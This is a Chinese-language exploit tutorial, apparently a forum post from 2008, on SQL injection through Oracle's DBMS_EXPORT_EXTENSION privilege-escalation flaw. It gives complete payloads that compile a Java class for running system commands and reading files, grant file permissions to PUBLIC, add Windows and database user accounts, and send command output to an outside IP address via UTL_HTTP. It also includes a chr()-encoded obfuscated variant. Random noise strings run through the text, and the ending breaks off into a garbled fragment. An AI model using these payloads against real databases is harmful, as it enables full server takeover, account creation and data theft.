以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 9 d; q1 E5 D. U4 F
1 t. Y) v+ k/ ~& l9 j: p; d2 p /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
1 y3 f+ z" P' ^- n的形式即可。(用" 'a'|| "是为了让语句返回true值) 1 {& c; S' ]7 D' X- B* I/ U
语句有点长,可能要用post提交。
0 n" _" p6 `" M& H( u以下是各个步骤: 8 \) \/ [% j' F) r; q S0 G
1.创建包
( W# o* K$ o C0 U, `4 |0 R# g通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:3 y7 ^* ?+ w4 i, Z8 x* P& r
/xxx.jsp?id=1 and '1'<>'a'||(
: t/ u* G2 U7 s6 p# r2 J* h* V* oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 }: y" z' x6 @; |create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
" m2 l! B- g5 s$ ^, _% ~) Snew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}2 [, B' m( @# |# j6 _, l0 V7 L; \
}'''';END;'';END;--','SYS',0,'1',0) from dual
# K& N# H) Z: @, j" H) ) t6 Q& v6 s) U$ w# r
------------------------ # y2 c0 M: g9 v9 u
如果url有长度限制,可以把readFile()函数块去掉,即:
/ ?/ W/ @; E- R1 t4 @9 S5 ^! U/ ?/xxx.jsp?id=1 and '1'<>'a'||( - ^1 P& g1 d+ m
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', B g3 |0 g, `: S( K/ e* r
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(2 R+ e8 B/ L V' |! t t3 o# W
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
0 U# Y- E: h: N# X) s! f}'''';END;'';END;--','SYS',0,'1',0) from dual
! @( H0 y* m% L7 k$ z% _) / K1 I$ m& X# V6 G# |/ a' ^
同时把后面步骤 提到的 对readFile()的处理语句去掉。
* G& y {( ~1 y- H4 S3 R------------------------------ 4 ~5 L. E& g$ o: W! `
2.赋Java权限
' S+ v+ R6 y& y5 }9 c; k6 |/ Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
+ O; L2 h" v5 ? B; q: B) b3 W; p9 o3.创建函数
+ o3 g9 R1 q. w8 V) ?1 S cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 O) d, ~( N2 t5 u$ H2 O* v
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
# h5 r) N" K lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') g1 |9 u n& C2 t
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
# s& |) D. t; ?! F" A8 G( A8 X# h4.赋public执行函数的权限
" L5 Q, R3 P- a7 `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
" A' h- m- k2 T* b1 }0 ] f" [% dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
, z+ _5 e3 n+ o# s0 d5.测试上面的几步是否成功 1 @4 D" e% N! x7 a( V, P5 X; \
and '1'<>'11'||(
; H" m% s' B& k7 w! yselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
" Z2 K3 ~1 @/ \& P) % ~: o: X: Y4 {- h. x2 O4 N
and '1'<>( ( u! \0 d% Q& v3 x& N. o5 L
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
: H h/ h/ C0 C% j' V8 l" l8 y, T)
* F- `+ ?) U) t7 S' I# v$ Y6.执行命令:
2 j5 F" \) {- o# b/xxx.jsp?id=1 and '1'<>(
* K) [+ K$ k) }% E$ A) H1 b1 f. @( ~select sys.LinxRunCMD('cmd /c net user linx /add') from dual * C3 p& ~9 w1 Z ~
' A! w. Z0 ^8 V2 y7 z
)
$ t b9 Z" `1 F/xxx.jsp?id=1 and '1'<>( 6 p5 t/ D# ?( u e* b
select sys.LinxReadFile('c:/boot.ini') from dual
% j" B7 D! S& B- H& D; w
0 A' M4 B A# O- |. s)
! ~ G" D6 V' H8 r
6 U, Z' N0 v- n- {注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
% ?5 L3 y2 ~5 d Z- i" [5 s: L0 n如果要查看运行结果可以用 union : 4 y9 i1 Q8 m% ^$ u4 m+ ?
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
7 A! v" o; ?( @3 y. Z: W( m4 n或者UTL_HTTP.request(: 8 w d* [3 o+ E$ ^6 E
/xxx.jsp?id=1 and '1'<>(
1 |9 S) t/ ^; b- |SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual. J7 X4 H2 Z( i! y+ S8 w
) / @/ y/ {/ i9 b/ M3 ]$ U# z5 `
/xxx.jsp?id=1 and '1'<>(
% E# v! t( _4 e- z8 @SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual$ X# h3 K- _7 @7 P
) % Z1 l7 `' i9 T3 j" q, T
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
7 m: i" t0 y8 E2 ]. [--------------------
Y; H5 o* z$ z. Q. ?1 S6.内部变化 ! K; N' T+ w1 I) c4 X9 ] k* b
通过以下命令可以查看all_objects表达改变:
- c7 m8 n& D. Z3 ^( [- e1 x0 uselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
. l4 ^0 S; }, C, L% V) u; t7.删除我们创建的函数
0 \% x3 b9 z4 }0 J- F9 Vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( A# P2 J% k" Z; u9 I3 M5 a) ~
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
: _9 t& z5 ?) g0 o. n====================================================
. p3 v) L/ b2 r+ y/ y" A全文结束。谨以此文赠与我的朋友。
1 H$ ~# E& l/ R% H" u8 d9 elinx
) g$ r" Q! k$ l- E2 m124829445 . T/ A! s( |/ b/ a5 t0 V0 v
2008.1.12
) d, U# {4 G+ X8 ~9 G4 Z& slinyujian@bjfu.edu.cn 8 w# [/ R# s9 {: y b3 B2 l
====================================================================== 9 W; A( {# r" v/ V& M% Z6 Z1 y; J
测试漏洞的另一方法:
7 M8 D7 @" H( _$ v' m创建oracle帐号: 9 i8 z. n: @2 |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 @' z' [7 @) n K5 k
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual- O" _1 q; ?# d. y5 @+ N3 n2 _
即: 2 Q% e% k( D; Z' n, |3 N9 o6 V
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
2 J: z( r! O! F$ Y( Mchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual # b. D. A8 K& f1 ^
确定漏洞存在: ! S- r% E& G6 J+ D2 `9 c/ U' D
1<>(
! t/ P% M6 t) m; M' t4 Y0 c$ rselect user_id from all_users where username='LINXSQL' % O5 m2 E* l% H ^1 U
) $ ~$ t4 H9 e0 [( B! ]1 @, P2 L
给linxsql连接权限:
- Q- z# A6 K8 j& g$ Gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') k6 ^1 [# N$ A+ n- y
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual , e- i5 e) P! v9 @( |4 Q3 A
删除帐号: , r0 x' d7 D, V, _: X5 Z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 H0 |7 g" M( vdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
( k3 ~7 N0 R4 B- q2 r& X====================== 7 `0 f- j5 ~0 R( b
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
( g; M$ M8 o @6 a0 S3 e1.jsp?id=1 and '1'<>(
, Q: R& f( B1 d- Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ O( R$ P; M0 }4 D9 W
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual' L. o/ l: Y! M. m4 D. G
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
* a. h( X3 h& O0 ]) x% L& n )
0 w4 f) `2 I! f7 v& T5 H1 D4 Y h) f5 ^3 |, x J4 |" i
% ~& L& F; K/ i& `+ v( Q; \. F' G. \: h; z5 K: Y4 C8 w2 u1 v
|